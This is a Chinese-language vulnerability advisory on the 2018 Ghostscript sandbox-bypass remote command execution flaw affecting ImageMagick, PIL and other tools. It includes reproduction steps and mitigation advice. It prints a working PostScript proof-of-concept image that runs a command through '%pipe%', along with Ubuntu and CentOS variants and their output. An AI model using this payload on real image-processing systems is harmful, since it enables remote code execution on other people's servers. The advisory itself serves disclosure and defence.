0x00 概述
8月22日,网上爆出ghostscript远程命令执行漏洞,发现者:Google Project Zero安全研究员Tavis Ormandy。通过构造包含恶意内容的图片可以造成远程代码执行(沙箱绕过)
0x01 影响范围
ghostscript,
python PIL,
Imagemagick
Libmagick
Graphicsmagick
Gimp
python-matplotlib
texlive-core
Texmacs
latex2html
latex2rtf
等使用ghostscript的应用。
0x02 漏洞重现
环境:debian
环境:vulhub
1.网站程序:
2. convert
也可以进入容器:
或者执行生成文件的payload:
poc1.png:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
Tavis Ormandy也已经在Ubuntu和CentOS上确认了漏洞:
Ubuntu:
$ *cat shellexec.jpeg*
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ *convert shellexec.jpeg whatever.gif*
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
CentOS:
$ *cat shellexec.jpeg*
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ *convert shellexec.jpeg whatever.gif*
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
0x03 修复方案
1.在ImageMagick policy.xml中禁用PostScript、EPS、PDF以及XPS解码器。
<policy domain =“coder”rights =“none”pattern =“PS”/>
<policy domain =“coder”rights =“none”pattern =“EPS”/>
<policy domain =“coder”rights =“none” pattern =“PDF”/>
<policy domain =“coder”rights =“none”pattern =“XPS”/>
2.如非必要,直接卸载ghostscript。
0x04 结语
有兴趣可以了解下原理,发现者还有一个ghostscript的代码执行漏洞(CVE-2017-8291)。
0x05 参考资料
https://www.anquanke.com/post/id/157380
http://seclists.org/oss-sec/2018/q3/142